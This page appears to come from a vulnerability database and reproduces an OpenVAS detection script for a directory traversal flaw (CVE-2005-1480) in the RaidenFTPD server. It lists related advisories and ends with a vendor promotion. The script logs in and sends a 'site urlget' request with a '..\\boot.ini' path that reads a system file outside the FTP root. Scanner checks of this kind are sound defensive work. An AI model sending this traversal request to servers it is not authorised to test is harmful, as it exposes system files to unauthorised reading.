RaidenFTPD < 2.4 build 2241 Directory Traversal Vulnerability. Malicious users can obtain read access to the outside of the intended ftp root
Reporter | Title | Published | Views | Family All 5 |
---|---|---|---|---|
![]() | CVE-2005-1480 | 11 May 200504:00 | – | cvelist |
![]() | CVE-2005-1480 | 11 May 200504:00 | – | cve |
![]() | CVE-2005-1480 | 11 May 200504:00 | – | nvd |
![]() | RaidenFTPD urlget Command Traversal Arbitrary File Access | 11 May 200500:00 | – | nessus |
![]() | RaidenFTPD Unauthorized File Access flaw | 3 Nov 200500:00 | – | openvas |
Source | Link |
---|---|
securityfocus | www.securityfocus.com/bid/13292 |
# SPDX-FileCopyrightText: 2005 David Maciejak
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.18225");
script_version("2023-12-20T05:05:58+0000");
script_tag(name:"last_modification", value:"2023-12-20 05:05:58 +0000 (Wed, 20 Dec 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_cve_id("CVE-2005-1480");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/13292");
script_xref(name:"OSVDB", value:"15713");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_name("RaidenFTPD < 2.4 build 2241 Directory Traversal Vulnerability");
script_category(ACT_GATHER_INFO);
script_tag(name:"qod_type", value:"remote_vul");
script_copyright("Copyright (C) 2005 David Maciejak");
script_family("FTP");
script_dependencies("ftpserver_detect_type_nd_version.nasl", "logins.nasl");
script_require_keys("ftp/login");
script_require_ports("Services/ftp", 21);
script_mandatory_keys("ftp/raidenftpd/detected");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"solution", value:"Upgrade to 2.4 build 2241 or newer.");
script_tag(name:"summary", value:"RaidenFTPD is prone to a directory traversal vulnerability.");
script_tag(name:"impact", value:"A malicious user could exploit it to obtain read
access to the outside of the intended ftp root.");
exit(0);
}
include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");
port = ftp_get_port(default:21);
kb_creds = ftp_get_kb_creds();
login = kb_creds["login"];
password = kb_creds["pass"];
if ( ! login || ! password )
exit(0);
banner = ftp_get_banner(port: port);
if(!banner || !egrep(pattern:".*RaidenFTPD.*", string:banner))
exit(0);
soc = open_sock_tcp(port);
if(soc)
{
ftp_recv_line(socket:soc);
if(ftp_authenticate(socket:soc, user:login, pass:password))
{
s = string("quote site urlget file:/..\\boot.ini\r\n");
send(socket:soc, data:s);
r = ftp_recv_line(socket:soc);
if ("220 site urlget " >< r)
security_message(port);
}
close(soc);
}
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo